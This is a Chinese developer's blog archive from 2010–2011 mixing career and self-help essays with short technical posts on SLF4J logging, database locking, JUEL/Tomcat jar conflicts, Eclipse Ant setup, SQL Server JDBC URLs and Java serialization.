        于是在今天这个飘雨的周末的黄昏,内力莫名的涌出一阵阵地懊悔,世界不会因为我没有完成代码而停滞不前,地球依然在转动,我讨厌这种感觉,这让我觉得我的存在毫无意义。中国的人太多,程序员太多,如果你想变的卓越出众,那么你就必须相信你所做的事情正在推动整个世界的发展,同时你也必须付出比别人更多的努力。所以今天我在我的愚人笔记 博客里,新建了一个专栏,程序人生 ,开始回顾和记录我程序的生涯的点点滴滴,拿出来跟各位朋友分享,也希望各位程序员朋友们,不要再我摔过的地方倒下;不要再我迷茫的地方浪费时光;更不要在我们所热爱的这个行业里,也和我一样变的一事无成。我觉得每个人都有自己的卓越之处,只是在懵懂中没有找到打开心中那扇石门的钥匙,希望我的程序人生,能抛砖引玉帮大家找到那把钥匙。

 

        下海做程序员的第一步也是最重要的一部,如何订制自己的程序之路。
        很多人在一谈到自己的计划的时候,都会去看看别人是怎么做的,一味的跟随别人的规划,多少岁之前做coder,多少岁之前做manager.其实每个人都有自己的特点,你应该停下来好好的审视自己的职业,不要跟着别人的路去走了,你应该知道自己要何去何从.

        我们的职业之路要怎么制定呢?毕竟程序员是一门职业,作为软件的开发人员,我们就是一个从事某一个职业的工人,公司雇佣我们,绝对不是因为公司爱我们。虽然天天公司教导我们“公司我是家”但是深圳的住房公积金,公司的交的那部分,还是转嫁给我们自己承担。事实上,公司以前从没有爱过我吗,将来也绝对不会。公司是你自己的那就另当别论了,否则,程序员就不是一个职业了,职业不就每天要我们去一个地方,呆上8个或者更多的小时,牺牲大量的脑细胞或者汗水,然后领取报酬吗?职业就是生意,把我们做的生意说的惨淡点,就是出卖自己i的劳动力,换钱,再高级的白领也是如此。当然做生意有赚有亏得,想要在这个行业里面成为佼佼者,那就是必须要知道自己应该如何去做这门生意,如何为自己创造利润?

        如果把你的职业人生想象成为一个你正在开发的软件产品的生命周期,现在你的所有需求都已经明确(有车,有房,有钱,有公司等等),接下来我们就要开始职业人生的设计了,在制定这个规划的时候,我们要重要的注意以下4个方面的内容,这个四个方面运用到整个人职业的生命周期中。

一、选择市场

        一定要谨慎的挑选你要关注的技术和商业领域。如何权衡风险和收益?
都是做软件开发,你究竟要做与硬件相关的还是与网络相关的?与手机相关的还是与汽车相关的?每一个分支都有专家和权威,你要确认自己想站在哪一个分支的顶点。在深圳很多程序员,为了生存,先入行再转行。程序员需要积累,面试官不喜欢一张白纸上满是编程理念的空头支票。

二、投资

        做生意哪有不投资就赚钱的好事,你的知识和技术就是你这件生意的基础。所以你要在这两个方面合理的投资,时间,金钱。只知道在理论上使用VB或者Java已经远远不够了,那么在新的环境下,新的平台下,又有哪些新的技术你应该具备的呢?

三、执行力

        用我老板的话来说单纯有技术出色的员工,并不能给公司带来利益。员工必须要有产出才行。有的时候一名优秀的员工产出远远不及一名普通的员工,反而有时候会让简单的事情变的一团糟糕,2分钟一个简单的算法,被花上2天时间提高0.001%的效率这种事情也是经常发生的。所以我们应该考虑的是能否创造最有利的价值而不是完美,

四、团队

        程序员孤军奋战成不了大事。一个再优秀的程序员也完成不了整个windows操作系统的工作,虽然我见过一个人是可以独立完成破解windows的工作的。所以如果不想过于孤单和山寨,请找到一支正规军加入他们。

五、又是市场

        你们肯定会说,你开始写循环了是吧?怎么又是市场?
        一个人选对了市场,投资技术,有了回报,有了产出,有了自己的团队,恭喜你,你离出产品的日子不远了。但是你有没有考虑一下你的产品的市场,若是无人知晓,毫无用途,又怎么会有利润呢?你的成绩又怎么会被老板和同行认可呢?请记住:一个团队奋斗了1个月写出来一个:Hello world!是赚不了钱的。

到这一节结尾的时候了,写几句鼓励的话,鼓励一下自己和大家:如果你要做一名优秀的软件工程师,请绝对不要萎靡不振,也不要毫无成果的去寻找工作,因为有很多跟你一样的人,因为努力成功了,所以你也不要担心,请相信自己一定会成功,没事多写写代码,或者来我的博客 逛逛,这样就不会感到恐惧了。

 

关键词:程序员   职业规划   软件工程师   转帖

posted @ 2011-05-18 12:58 jadmin 阅读(87) | 评论 (0)编辑 收藏
1、悲观锁,正如其名,它指的是对数据被外界(包括本系统当前的其他事务,以及来自外部系统的事务处理)修改持保守态度,因此,在整个数据处理过程中,将数据处于锁定状态。悲观锁的实现,往往依靠数据库提供的锁机制(也只有数据库层提供的锁机制才能真正保证数据访问的排他性,否则,即使在本系统中实现了加锁机制,也无法保证外部系 统不会修改数据)。


2、乐观锁( Optimistic Locking )
相对悲观锁而言,乐观锁机制采取了更加宽松的加锁机制。悲观锁大多数情况下依靠数据库的锁机制实现,以保证操作最大程度的独占性。但随之而来的就是数据库性能的大量开销,特别是对长事务而言,这样的开销往往无法承受。
而乐观锁机制在一定程度上解决了这个问题。乐观锁,大多是基于数据版本( Version )记录机制实现。何谓数据版本?即为数据增加一个版本标识,在基于数据库表的版本解决方案中,一般是通过为数据库表增加一个 “version” 字段来实现。读取出数据时,将此版本号一同读出,之后更新时,对此版本号加一。此时,将提交数据的版本数据与数据库表对应记录的当前版本信息进行比对,如果提交的数据版本号大于数据库表当前版本号,则予以更新,否则认为是过期数据。

 

posted @ 2011-05-18 12:51 jadmin 阅读(102) | 评论 (0)编辑 收藏

  生活并没有拖欠我们任何东西,所以没有必要总苦着脸。应对生活充满感激,至少,它给了我们生命,给了我们生存的空间。

  微笑是对生活的一种态度,跟贫富,地位,处境没有必然的联系。一个富翁可能整天忧心忡忡,而一个穷人可能心情舒畅:一位残疾人可能坦然乐观;一位处境顺利的人可能会愁眉不展,一位身处逆境的人可能会面带微笑……

  一个人的情绪受环境的影响,这是很正常的,但你苦着脸,一副苦大仇深的样子,对处境并不会有任何的改变,相反,如果微笑着去生活,那会增加亲和力,别人更乐于跟你交往,得到的机会也会更多。

  只有心里有阳光的人,才能感受到现实的阳光,如果连自己都常苦着脸,那生活如何美好?生活始终是一面镜子,照到的是我们的影像,当我们哭泣时,生活在哭泣,当我们微笑时,生活也在微笑。

  微笑发自内心,不卑不亢,既不是对弱者的愚弄,也不是对强者的奉承。奉承时的笑容,是一种假笑,而面具是不会长久的,一旦有机会,他们便会除下面具,露出本来的面目。

  微笑没有目的,无论是对上司,还是对门卫,那笑容都是一样,微笑是对他人的尊重,同时是对生活的尊重。微笑是有"回报"的,人际关系就像物理学上所说的力的平衡,你怎样对别人,别人就会怎样对你,你对别人的微笑越多,别人对你的微笑也会越多。

  在受到别人的曲解后,可以选择暴怒,也可以选择微笑,通常微笑的力量会更大,因为微笑会震撼对方的心灵,显露出来的豁达气度让对方觉得自己渺小,丑陋。

  清者自清,浊者自浊。有时候过多的解释、争执是没有必要的。对于那些无理取闹、蓄意诋毁的人,给他一个微笑,剩下的事就让时间去证明好了。

  当年,有人处处说爱因斯坦的理论错了,并且说有一百位科学家联合作证,爱因斯坦知道了这件事,只是淡淡的笑了笑,说,一百位?要这么多人?只要证明我真的错了,一个人出面便行了。

  爱因斯坦的理论经历了时间的考验,而那些人却让一个微笑打败了。

  微笑发自内心,无法伪装。保持“微笑”的心态,人生会更加美好。人生中有挫折有失败,有误解,那是很正常的,要想生活中一片坦途,那么首先就应清除心中的障碍。微笑的实质便是爱,懂得爱的人,一定不会是平庸的。

  微笑是人生最好的名片,谁不希望跟一个乐观向上的人交朋友呢?微笑能给自己一种信心,也能给别人一种信心,从而更好地激发潜能。

  微笑是朋友间最好的语言,一个自然流露的微笑,胜过千言万语,无论是初次谋面也好,相识已久也好,微笑能拉近人与人之间的距离,另彼此之间倍感温暖。

  微笑是一种修养,并且是一种很重要的修养,微笑的实质是亲切,是鼓励,是温馨。真正懂得微笑的人,总是容易获得比别人更多的机会,总是容易取得成功。

posted @ 2010-09-10 13:01 jadmin 阅读(93) | 评论 (0)编辑 收藏

一、介绍:
简单日记门面(simple logging Facade for java)SLF4J是为各种loging APIs提供一个简单统一的
接口,从而使得最终用户能够在部署的时候配置自己希望的loging APIs实现。 Logging API实现既可以
选择直接实现SLF4J接的loging APIs如: NLOG4J、SimpleLogger。也可以通过SLF4J提供的API实现
来开发相应的适配器如Log4jLoggerAdapter、JDK14LoggerAdapter。在SLF4J发行版本中包含了几个
jar包,如slf4j-nop.jar, slf4j-simple.jar, slf4j-log4j12.jar, slf4j-log4j13.jar,
slf4j-jdk14.jar and slf4j-jcl.jar通过这些jar文件可以使编译期与具体的实现脱离。或者说可以
灵活的切换

二、官方站点
官方的网站:
http://www.slf4j.org/manual.html
三、为何使用slf4j?
我们在开发过程中可能使用各种log,每个Log有不同的风格、布局,如果想灵活的切换那么slf4j是比较好的
选择。

四、如何使用slf4j
下边一段程序是经典的使用slf4j的方法.

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Wombat {
    final Logger logger = LoggerFactory.getLogger(Wombat.class);
    Integer t;
    Integer oldT;
    public void setTemperature(Integer temperature) {
        oldT = t;
        t = temperature;
        logger.error("Temperature set to {}. Old temperature was {}.", t, oldT);
        if (temperature.intValue() > 50) {
            logger.info("Temperature has risen above 50 degrees.");
        }
    }
    public static void main(String[] args) {
        Wombat wombat = new Wombat();
        wombat.setTemperature(1);
        wombat.setTemperature(55);
    }
}

下边介绍一下运行上边程序的过程。
1,编译上边的程序,需要classpath中加入slf4j-api-1.4.1.jar文件
2,运行时,需要classpath中加上slf4j-simple-1.4.1.jar
运行得到结果:
----------------------------
0 [main] ERROR Wombat - Temperature set to 1. Old temperature was null.
0 [main] ERROR Wombat - Temperature set to 55. Old temperature was 1.
0 [main] INFO Wombat - Temperature has risen above 50 degrees.
这个是simple log风格,

3,切换:如果想切换到jdk14的log的风格,只需要把slf4j-simple-1.4.1.jar
从classpath中移除,同时classpath中加入slj4j-jdk14-1.4.1.jar
这时的运行结果:
---------------------------------------------------
2007-7-9 10:40:15 Wombat setTemperature
严重: Temperature set to 1. Old temperature was null.
2007-7-9 10:40:16 Wombat setTemperature
严重: Temperature set to 55. Old temperature was 1.
2007-7-9 10:40:16 Wombat setTemperature
信息: Temperature has risen above 50 degrees.
已经变成jdk14的log风格了。
4,再次切换到log4j
同样移除slj4j-jdk14-1.4.1.jar,加入slf4j-log4j12-1.4.1.jar,同时加入log4j-1.2.x.jar
加入log4j.properties。得到显示结果:
---------------------------------------
10:42:27,328 ERROR Wombat: Temperature set to 1. Old temperature was null.
10:42:27,328 ERROR Wombat: Temperature set to 55. Old temperature was 1.
10:42:27,328 INFO Wombat: Temperature has risen above 50 degrees.
在不同的风格中切换只需要在部署期切换类库就可以了,和开发时无关。


posted @ 2010-08-17 23:52 jadmin 阅读(88) | 评论 (0)编辑 收藏

在Stack Overflow上有这样的一个贴子《What’s your most controversial programming opinion?》,翻译成中文就是“你认为最有争议的编程观点是什么?”,不过,在400多个主回贴,以及千把个子回贴中,好像并不是很有争议,而是令人相当的茅塞顿开,下面罗列一些,并通过我自己的经历和理解发挥了一些,希望对你有帮助。

1) The only “best practice” you should be using all the time is “Use Your Brain”.

唯一的“Best Practice”并不是使用各种各样被前人总结过的各种设计方法、模式,框架,那些著名的方法、模式、框架只代码赞同他们的人多,并不代表他们适合你,你应该更多的去使用你的大脑,独立地思考那些方法、模式、框架出现的原因和其背后的想法和思想,那才是“best practice”。事实上来说,那些所谓的“Best Practice”只不过是限制那些糟糕的程序员们的破坏力。

2)Programmers who don’t code in their spare time for fun will never become as good as those that do.

如果你对编程没有感到一种快乐,没有在你空闲的时候去以一种的轻松的方式去生活,无论是编程,还是运动,还是去旅游,只要你在没有从中感到轻松和愉快,那么你只不过是在应付它们。而你无时无刻不扎在程序堆中,这样下来,就算是你是一个非常聪明,非常有才华的人,你也不会成为一个优秀的编程员,要么只会平平凡凡,要么只会整天扎在技术中成为书呆子。当然,这个观点是有争议,热情和能力的差距也是很大的。不过我们可以从中汲取其正面的观点。

3)Most comments in code are in fact a pernicious form of code duplication.

注释应该是注释Why,而不是How和What,参看《惹恼程序员的十件事》,代码告诉你How,而注释应该告诉你Why。但大多数的程序并不知道什么是好的注释,那些注释其实和code是重复的,毫无意义。

4)XML is highly overrated

XML可能被高估了。XML对于Web上的应用是不错的,但是我们把其用到了各种地方,好像没有XML,我们都不会编程了。

5)Not all programmers are created equal

这是那些junior经理或是流程爱犯的错,他们总是认为,DeveloperA == DeveloperB,只要他们的title一样,他们以为他们的能力、工作速度、解决问题的方法,掌握的技能等等都是一样的。呵呵。更扯的是,在某些时候,就算是最差的程序员,因为Title,他们也会认为其比别人强十倍,这就是很表面的愚蠢的管理。

6)”Googling it” is okay!

不可否认,查找知识是一种能力。但Google只会给你知识,并不会教给你技能。那里只有“鱼”,没有“渔”,过度的使用Google,只会让你越来越离不开他,你越来越需要要它立马告诉你答案,而你越来越不会自己去思考,自己去探索,去专研。如果KFC快餐是垃圾食品对我们的身体没有好处,那么使用Google也一种快餐文化对我们的智力发展大大的没有好处。因为我们过度地关注了答案,而不是寻找答案的技术和过程。

7)If you only know one language, no matter how well you know it, you’re not a great programmer.

如果你只懂一种语言,准确的说,如果你只懂一类语类,如:Java和C#,PHP和Perl,那么,你将会被局限起来,只有了解了各种各样的语言,了解了不同语言的不同方法 ,你才会有比较,只有了比较,你才会明白各种语言的长处和短处,才会让你有更为成熟的观点,而且不整天和别的程序在网上斗嘴争论是Windows好还是Unix好,是C好还是C++好,有这点工夫能干好多事了。世界因为不同而精彩,只知道事物的一面是有害的。

8)Your job is to put yourself out of work.

你的工作不是保守,那种教会徒弟,饿死师父的想法,不但是相当短浅的,而且还是相当脑残的。因为,在计算机世界里,你掌握的老技术越多,你就越没用,因为技术更新的太快。你对工作越保守,这个工作就越来越离不开你,你就越不越不能抽身去学新的东西,你也就越来越OUT了。记住:If you can’t be replaced then you can’t be promoted!

9)Design patterns are hurting good design more than they’re helping it.

很多程序员把设计模式奉为天神,他们过度的追求设计模式以至都都忘了需求是什么,结果整个系统设计被设计模式搞得乱七八糟,我们叫这种编程为“设计模式驱动编程”,正如第一点所说,如果你不懂得用自己的大脑思考的话,知其然,不知所以然的话,那么你不但得不到其好处,反而受其所累。

10)Unit Testing won’t help you write good code

其实,unit test 的主要目的是,为了防止你不会因为一个改动而引入Bug,但这并不会让你能写出更好的代码。这只会让你写出不会出错的代码。同第一点,这样的方法,只不过是防止糟糕的程序员,而并不是让程序员或代码质量更有长进。反而,程序员通常会借用“通过Unit Test”来为自己代码做辩解,而此时,Unit Test Report成了一种托辞。

最后,顺便说一下,以前去那个敏捷的公司面试,发现那个公司的某些技术人员中毒不浅,具体表现在上述的1)9)10)观点上,过份地迷信了best practice,Design Patterns和Unit Testing。

Requirements

JUEL requires Java 5 or later.

加入juel.jar

-------------------------
I think I get same problem when trying to integrate JBPM4 into my app. And I find out why.
Because you're using Tomcat 6.0... The lib el-api.jar in %tomcat_home%/lib conflicts with juel.jar, which exists in %jbpm4_home%/lib.

juel: <http://juel.sourceforge.net/> You will find the 2 jars define the same api for javax/el/ExressionFactory.

The solution is that you use Tomcat 5.5 instead of Tomcat 6.0. Because tomcat 5.5 uses commons-el.jar (Tomcat5.5/common/lib)

Or you can still use Tomcat 6.0, but you must replace el-api.jar with juel.jar. And don't forget to remove juel.jar from your app lib(A duplicate import, if you don't remove).

Try it!

---------------------------------------------------------
解决:删掉tomcat6的el.jar,加入juel.jar,juel-impl.jar,juel-engine.jar

posted @ 2010-07-21 17:40 jadmin 阅读(1446) | 评论 (0)编辑 收藏


  僧人竺法深在东晋简文帝处作客,刘尹问:「法师是学道之人,为什么要来官宦之门中走动?」竺法深回答说:「你自见这是朱门高第,在贫道眼里,同走在茅屋草舍间并无任何差别。」
  法师的境界,是繁华阅尽后的云淡风清,是滚滚红尘里的淡定从容。
  人生的浮浮沉沉,欲望乃是最大的滥殇。它可以是推动你向上的一股力量,也可以是主宰你堕落的源头。生命如此短暂,有所营谋,必有所烦恼;有所执着,必有所束缚;有所得,必有所失。生前的显赫富贵,终究是些过眼烟云。如果为此穷尽一生,岂非本末倒置?
  人生在世,要活得很自在,才会幸福。不能控制欲望的人,当然就得不到安详。我们如果能在每一刹那,自我观照,自我控制,长养智慧与安详。没有忧虑、没有恐惧、没有攀缘,离开一切执着,则能拥有统一和谐的心灵,幸福也就掌握在你的手中。

posted @ 2010-07-11 12:22 jadmin 阅读(100) | 评论 (0)编辑 收藏

  人的一生是要经历许多阶段的,比如说纯真无邪的少年时代,激情如火的青春岁月,厚重沉稳的中年时期,从容淡定的人生暮年。每个时候都有独特的风景,每段岁月都会给人不同的感受。可进入中年的她,突然间感觉自己,就一下从躁动中宁静下来了,不经意间就有了种坐看云起云舒,我自心境如水的超然。

  她感到在无意中,一切都漫漫地淡下来了,常常会挂着淡淡的微笑,给人一种和谐温馨之感;常常看淡名利和物质,却看重人与人之间的感情,常常不会冲动行事,也不会轻易后悔,她会为自己的决定负责。可当她一旦爱上一个人,一定会坚守自己的那份爱,爱情的保质期是“永远”。

  她还会在秋阳明丽的早晨或午后为自己沏一壶香茗,手捧一本书细细品位,慢慢欣赏。她懂得什么是智性美,她更愿意在闲暇的时候去学习书法音乐美术,或者去充电接受最新的科技知识,来提高自己的修养和品位,她不会把时间浪费在世俗的纷争和无聊的麻将中,更不会和别人去攀比高档名牌的服饰和虚荣的炫耀,她知道真正的美丽一定是由内而外散发出来的。

  可是她也记得不久前还在为工作上的事烦恼不已,什么上司不赏识呀,工作业绩不突出啦,还有同事之间不服气了,等等,等等,整个身心陷进了争强好胜的泥沼里,苦苦挣扎,不能释怀,可是到了中年一切就都云开日出了,不是不努力工作,只是觉得自己尽力就问心无愧了,至于结果就不会去过多考虑了,这样反而同事之间的关系和谐了,人的精神就愉快了,心胸也宽广了。

  她也有曾经陷入爱恋中不能自拔的时候。那时,在热恋中痛苦,因为怕失去,所以猜忌怀疑,无事生非,互相折磨;在失恋中更痛苦,因为无所依傍,所以孤独寂寞,痛不欲生,自我戕害。可是到了人生的这个时期,不管是热恋也好,失恋也罢,都能平静地对待,诗意的化解。不是说心如止水,情如枯井,而是能理智地看待,睿智地经营,这样使情爱更彰显出深沉含蓄之美,情深意切之境。让相爱的双方没有压力,更能享受爱本身给人带来的快乐。

  她想每个人的一生中的某个阶段是需要某种热闹的,那时侯饱涨的生命力需要向外奔突,就象急湍的河流一样。但一个人不能永远停留在这个阶段。经过了激烈的撞击之后,生命就来到了一块开阔的谷地,汇蓄成了一片浩瀚的的湖泊。这时就会变得异常的平和宁静,这种脱离了世俗的宁静,是以丰富的精神内涵为依傍的。它是一种超脱,一种繁华落尽见真情的纯粹,一种精神的升华。托尔斯泰曾经说过:“随着年岁增长,我的生命越来越精神化了”。说的就是这样的感触。

  人淡如菊,就是一种丰富的精神安静。具有这种品格的人,能够浸润在风晨雨夕,面对着阶柳庭花,听得到自然的呼吸,感受得到自然的脉搏。这时,斗室便是八极,内心顿成宇宙;这时,精神就会富有,心胸就会博大;这时,便拥有了一份澄明清澈,一份从容淡定。人生就从此不寂寞了。

posted @ 2010-06-29 23:37 jadmin 阅读(116) | 评论 (0)编辑 收藏

这种情况通常是发生在换了另一份 Eclipse 拷贝之后。之前一般都能正常在 Eclipse 中执行 Ant 脚本,删除了原来的 Eclipse 之后换了另一个拷贝或者是新版本,在其中执行 Ant 脚本时弹出窗口出现以下错误:

---------------------------
Java Virtual Machine Launcher
---------------------------
Could not find the main class. Program will exit.
---------------------------
确定  
---------------------------

这种错误对用过 Java 的人来说还是很明白,找不到 Ant 的主类吗。不过说实话也困扰过我一段时间,也没去深究。说开了,症结就是 Eclipse 中的 ANT_HOME 指向不对。

解决办法:Eclipse 中进入 Window->Preferences->Ant->Runtime,在Classpath 标签页,看到 Ant Home Entries 指向的目录不对了(它仍然指向你上回的目录,而这个目录应该不存在了),你要做的就是改变 Ant Home 指向正确的目录,点 Ant Home 按钮,选择 Ant Home 目录,比如我用的 Eclipse 是 3.3.1 的,Ant Home 是 Eclipse 的插件目录下的 org.apache.ant_1.7.0.v200706080842。

现在可以再次在 Eclipse 中执行你的 Ant 脚本,是不是能正常运行了啊!

posted @ 2010-05-17 00:09 jadmin 阅读(190) | 评论 (0)编辑 收藏

        很多朋友都很喜欢在DOS命令行下来操作计算机,我也是。 如何打开DOS并定位到指定的路径呢?很多优化软件都提供了往右键菜单中加入“当前目录打开DOS”的功能,当右键点击文件夹时,就打开DOS并定位到该文件夹。网上也有修改注册表来实现的,其实还有更简单的方法来实现!

        打开“我的电脑”,点击菜单中的“工具”-“文件夹选项”,选择“文件类型”,找到“(无)资料夹”,点“高级”,“新建”,在“操作”中填入 “DOS快速通道”(这里可以随便填),“用于执行操作的应用程序”中填入“CMD.exe /k cd %1”(这个是关键),确定即可。

        右键打开任何一个文件夹、分区,点击“DOS快速通道”,就可以打开DOS并定位到你所点击的目录下!这里要告诉大家,其实许多问题都有更简单的方法,只要大家细心一点。都可以大大提高我们的办事效率!


posted @ 2010-05-15 23:52 jadmin 阅读(91) | 评论 (0)编辑 收藏

1、放下压力
  累与不累,取决于自己的心态
  心灵的房间,不打扫就会落满灰尘。蒙尘的心,会变得灰色和迷茫。我们每天都要经历很多事情,开心的,不开心的,都在心里安家落户。心里的事情一多,就会变得杂乱无序,然后心也跟着乱起来。有些痛苦的情绪和不愉快的记忆,如果充斥在心里,就会使人委靡不振。所以,扫地除尘,能够使黯然的心变得亮堂;把事情理清楚,才能告别烦乱;把一些无谓的痛苦扔掉,快乐就有了更多更大的空间。
  紧紧抓住不快乐的理由,无视快乐的理由,就是你总是觉得难受的原因了。

2、放下烦恼
  快乐其实很简单
  所谓练习微笑,不是机械地挪动你的面部表情,而是努力地改变你的心态,调节你的心情。学会平静地接受现实,学会对自己说声顺其自然,学会坦然地面对厄运,学会积极地看待人生,学会凡事都往好处想。这样,阳光就会流进心里来,驱走恐惧,驱走黑暗,驱走所有的阴霾。
  快乐其实很简单,不要自己不快乐就可以了。


3、放下自卑
  把自卑从你的字典里删去
  不是每个人都可以成为伟人,但每个人都可以成为内心强大的人。内心的强大,能够稀释一切痛苦和哀愁;内心的强大,能够有效弥补你外在的不足;内心的强大,能够让你无所畏惧地走在大路上,感到自己的思想,高过所有的建筑和山峰!
  相信自己,找准自己的位置,你同样可以拥有一个有价值的人生。

4、放下懒惰
  奋斗改变命运
  不要一味地羡慕人家的绝活与绝招,通过恒久的努力,你也完全可以拥有。因为,把一个简单的动作练到出神入化,就是绝招;把一件平凡的小事做到炉火纯青,就是绝活。
  提醒自己,记住自己的提醒,上进的你,快乐的你,健康的你,善良的你,一定会有一个灿烂的人生。


5、放下消极
  绝望向左,希望向右
  如果你想成为一个成功的人,那么,请为"最好的自己"加油吧,让积极打败消极,让高尚打败鄙陋,让真诚打败虚伪,让宽容打败褊狭,让快乐打败忧郁,让勤奋打败懒惰,让坚强打败脆弱,让伟大打败猥琐……只要你愿意,你完全可以一辈子都做最好的自己。
  没有谁能够左右胜负,除了你。自己的战争,你就是运筹帷幄的将军!
  不是所有的梦想都能成为美好的现实,但美丽的梦想同样可以装点出生活的美丽。

6、放下抱怨
  与其抱怨,不如努力
  所有的失败都是为成功做准备。抱怨和泄气,只能阻碍成功向自己走来的步伐。放下抱怨,心平气和地接受失败,无疑是智者的姿态。
  抱怨无法改变现状,拼搏才能带来希望。真的金子,只要自己不把自己埋没,只要一心想着闪光,就总有闪光的那一天。
  纵观古今中外,很多人生的奇迹,都是那些最初拿了一手坏牌的人创造的。
  不要总是烦恼生活。不要总以为生活辜负了你什么,其实,你跟别人拥有的一样多。


7、放下犹豫
  立即行动,成功无限
  认准了的事情,不要优柔寡断;选准了一个方向,就只管上路,不要回头。机遇就像闪电,只有快速果断才能将它捕获。
  立即行动是所有成功人士共同的特质。如果你有什么好的想法,那就立即行动吧;如果你遇到了一个好的机遇,那就立即抓住吧。立即行动,成功无限!
  有些人是必须忘记的,有些事是用来反省的,有些东西是不能不清理的。该放手时就放手,你才可以腾出手来,抓住原本属于你的快乐和幸福!
  有些事情是不能等待的,一时的犹豫,留下的将是永远的遗憾!


8、放下狭隘
  心宽,天地就宽
  宽容是一种美德。宽容别人,其实也是给自己的心灵让路。只有在宽容的世界里,人,才能奏出和谐的生命之歌!
  要想没有偏见,就要创造一个宽容的社会。要想根除偏见,就要首先根除狭隘的思想。只有远离偏见,才有人与内心的和谐,人与人的和谐,人与社会的和谐。
  我们不但要自己快乐,还要把自己的快乐分享给朋友、家人甚至素不相识的陌生人。因为分享快乐本身就是一种快乐,一种更高境界的快乐。
  宽容是一种美德。宽容别人,其实也是给自己的心灵让路。只有在宽容的世界里,人,才能奏出和谐的生命之歌!

posted @ 2010-05-08 23:37 jadmin 阅读(79) | 评论 (0)编辑 收藏

SQL Server2000和2005的连接代码区别,写连接代码时需要注意2000和2005的不同:  
1、连接SqlServer2000  
      Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();  
      URL   =   "jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=test";  
2、连接SqlServer2005  
      Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver").newInstance();  
      URL   =   "jdbc:sqlserver://localhost:1433;DatabaseName=test";

posted @ 2010-04-26 17:28 jadmin 阅读(85) | 评论 (0)编辑 收藏

今天突然接到淘宝的电话面试,问了一些问题,其中一个是关于Java序列化的

问题大概就是serialVersionUID的作用之类的吧,当时回答是凭感觉和经验回答的,后来通过测试,我的回答是正确的,这里再总结下序列化的问题

1.Java的序列化机制只序列化对象的属性值,而不会去序列化什么所谓的方法,列化机制只保存对象的类型信息,属性的类型信息和属性值,和方法没有什么关系,你就是给这个类增加10000个方法,序列化内容也不会增加任何东西。

2.对于需要序列化和反序列化的的实体,最好加上serialVersionUID,并不要随便更改其值。

       对于一个实体User好啦,实现了java.io.Serializable接口,但没有加上serialVersionUID,先实例化一个User对象并将它序列化到磁盘上,然后再反序列化,OK,这是没有问题的!看下面的:

       在User类里再增加一个属性,接着再将之前序列化的文件反序列化成User对象,报错!!!为何?就是因为没有加上serialVersionUID!

       如果User加上了serialVersionUID,给User增加属性后,再将之前序列化的文件反序列化回User对象,是没有问题的!!

3.总结

       serialVersionUID 用来表明类的不同版本间的兼容性。如果你修改了此类, 要修改此值。否则以前用老版本的类序列化的类恢复时会出错。为了在反序列化时,确保类版本的兼容性,最好在每个要序列化的类中加入private static final long serialVersionUID这个属性,具体数值自己定义。

posted @ 2010-04-24 23:08 jadmin 阅读(101) | 评论 (0)编辑 收藏

态度篇

1. 做实事

不要抱怨,发牢骚,指责他人,找出问题所在,想办法解决。对问题和错误,要勇于承担。

2. 欲速则不达

用小聪明、权宜之计解决问题,求快而不顾代码质量,会给项目留下要命的死角。

3. 对事不对人

就事论事,明智、真诚、虚心地讨论问题,提出创新方案。

4. 排除万难,奋勇前进

勇气往往是克服困难的唯一方法。

学习篇

5. 跟踪变化

新技术层出不穷并不可怕。坚持学习新技术,读书,读技术杂志,参加技术活动,与人交流。要多理解新词背后的所以然,把握技术大趋势,将新技术用于产品开发要谨慎。

6. 对团队投资

打造学习型团队,不断提高兄弟们的平均水平。

7. 懂得丢弃

老的套路和技术,该丢,就得丢。不要固步自封。

8. 打破砂锅问到底

不断追问,真正搞懂问题的本质。为什么?应该成为你的口头禅。

9. 把握开发节奏

控制好时间,养成好习惯,不要加班。

开发流程篇

10. 让客户做决定

让用户在现场,倾听他们的声音,对业务最重要的决策应该让他们说了算。

11. 让设计指导而不是操纵开发

设计是前进的地图,它指引的是方向,而不是目的本身。设计的详略程度应该适当。

12. 合理地使用技术

根据需要而不是其他因素选择技术。对各种技术方案进行严格地追问,真诚面对各种问题。

13. 让应用随时都可以发布

通过善用持续集成和版本管理,你应该随时都能够编译、运行甚至部署应用。

14. 提早集成,频繁集成

集成有风险,要尽早尽量多地集成。

15. 提早实现自动化部署

16. 使用演示获得频繁反馈

17. 使用短迭代,增量发布

18. 固定价格就意味着背叛承诺

估算应该基于实际的工作不断变化。

用户篇

19. 守护天使

自动化单元测试是你的守护天使。

20. 先用它再实现它

测试驱动开发其实是一种设计工具。

21. 不同环境,就有不同问题

要重视多平台问题。

22. 自动验收测试

23. 度量真实的进度

在工作量估算上,不要自欺欺人。

24. 倾听用户的声音

每一声抱怨都隐藏着宝贵的真理。

编程篇

25. 代码要清晰地表达意图

代码是给人读的,不要耍小聪明。

26. 用代码沟通

注释的艺术。

27. 动态地进行取舍

记住,没有最佳解决方案。各种目标不可能面面俱到,关注对用户重要的需求。

28. 增量式编程

写一点代码就构建、测试、重构、休息。让代码干净利落。

29. 尽量简单

宁简勿繁。如果没有充足的理由,就不要使用什么模式、原则和特别的技术。

30. 编写内聚的代码

类和组件应该足够小,任务单一。

31. 告知,不要询问

多用消息传递,少用函数调用。

32. 根据契约进行替换

委托往往优于继承。

调试篇

33. 记录问题解决日志

不要在同一地方摔倒两次。错误是最宝贵的财富。

34. 警告就是错误

忽视编译器的警告可能铸成大错。

35. 对问题各个击破

分而治之是计算机科学中最重要的思想之一。但是,要从设计和原型阶段就考虑各部分应该能够很好地分离。

36. 报告所有的异常

37. 提供有用的错误信息

稍微多花一点心思,出错的时候,将给你带来极大便利。

团队协作篇

38. 定期安排会面时间

常开会,开短会。

39. 架构师必须写代码

不写代码的架构师不是好架构师。好的设计都来自实际编程。编程可以带来深入的理解。

40. 实行代码集体所有制

让开发人员在系统不同区域中不同的模块和任务之间轮岗。

41. 成为指导者

教学相长。分享能提高团队的总体能力。

42. 让大家自己想办法

指引方向,而不是直接提供解决方案。让每个人都有机会在干中学习。

43. 准备好后再共享代码

不要提交无法编译或者没有通过单元测试的代码!

44. 做代码复查

复查对提高代码质量、减少错误极为重要。

45. 及时通报进展与问题

主动通报,不要让别人来问你。

posted @ 2010-04-24 15:23 jadmin 阅读(66) | 评论 (0)编辑 收藏

